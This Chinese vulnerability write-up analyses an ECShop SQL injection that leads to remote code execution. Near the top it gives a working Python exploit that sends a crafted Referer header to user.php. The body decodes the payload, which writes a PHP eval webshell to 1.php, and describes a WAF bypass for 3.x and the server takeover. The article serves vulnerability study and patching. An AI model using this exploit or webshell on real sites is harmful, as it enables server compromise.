ecshop全系列SQL注入漏洞分析
2023-5-5 11:37:3 Author: www.secpulse.com(查看原文) 阅读量:54 收藏

ecshop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。最新版本为3.6.0。而最近ecshop爆出存在SQL注入漏洞,且能影响至所有系列。本文就对该SQL注入漏洞的成因做简单的分析

漏洞原理

本次漏洞主要是由于user.php文件login响应存在漏洞,其内部的display的参数可被攻击者控制,从而导致SQL注入漏洞,利用该漏洞可实现远程任意命令执行。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
 
import requests
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
    "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
    "Content-Type": "text/xml",
    "Referer": "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca"
}


url = "http://192.168.5.130:8080/user.php"
payload = {'action':'login'}
requests.post(url,data=payload,headers=headers)

漏洞分析

login响应,将http_referer的值赋予$back_act,referer参数可被攻击者控制

assign函数将$back_act变量值赋给back_act
smarty是模板引擎，将back_act的值赋给模板文件user_passport.dwt
display读取user_passport.dwt文件内容，过滤后输出结果

display函数经 fetch -> make_compiled -> file_get_contents -> fetch_str ->smarty_prefilter_preCompile ->select 取出html中值$out,其中包含referer的内容
$out通过_echash变量切割，而_echash是代码里写死的

此时referer的payload被切割成$val

1
 
$val="ads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}"

insert_mod函数处理动态内容$val

以|划分$val

1
2
 
$fun=ads;
$para="a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}"

$para经unserialize反序列化得

1
2
 
$para=array('num' => "*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -",'id'=>"'/*";)
$fun='insert_'.$fun = 'insert_ads'

$fun($para)动态调用insert_ads函数,即insert_ads($para)
insert_ads存在SQL注入漏洞,继续跟踪insert_ads,该函数直接将id,num的值拼接到SQL中导致注入漏洞
其中id=”‘/*“ 拼接a.posttion_id的单引号,/*与num配合注释掉order by

1
 
num="*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -",'id'=>"'/*"

num中的*/与id/*配合注释order by ,union联合查询在数据库中解析得

1
2
3
 
position_id = 0x272f2a = "'/*"
position_style = 0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676***314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878 
= {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

position_style经拼接重新到fetch

fetch -> fetch_str 将匹配到的字符传输至select函数处理
此时

1
 
position_style = "$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//"

跟踪position_style至select函数

select -> get_val –> make_var

最终匹配得

1
 
$p=this->_val['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//']

此时select中得

1
 
<?php echo _val['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//'];?>

并返回至fetch_str,供_eval调用,造成任意命令执行,本命令是通过base64解码写一句话木马

针对3.x版本,ecshop添加了waf,过滤了union select,可以将这两个词放在id,num的值里绕过waf,同时修改_echash的值

漏洞演示

在虚拟机里安装ecshop2.7.3版本
执行以上脚本,即可写入一句话木马<?php eval($_POST[1337]); ?> 至1.php
通过菜刀连接,拿到web服务器权限

漏洞利用总结

  1. referer值未加判断直接引用,可被攻击者控制输入

  2. 利用_echash = “554fcae493e564ee0dc75bdf2ebf94ca” 为定值进行切分，构造payload

  3. 利用反序列化漏洞,构造payload，传输恶意代码

  4. insert_ads函数的SQL拼接不规范导致存在SQL注入

  5. make_val函数拼接字符串输入，_eval中调用用户输入通过eval最终导致任意命令执行

临时性方案

由于ecshop官方还未进行修复,可通过对insert_ads的num;id参数进行intval处理

参考链接

https://xz.aliyun.com/t/2689
https://blog.csdn.net/u012078682/article/details/37737015
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

本文作者：第59号实验室

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/199872.html


文章来源: https://www.secpulse.com/archives/199872.html
如有侵权请联系:admin#unsafe.sh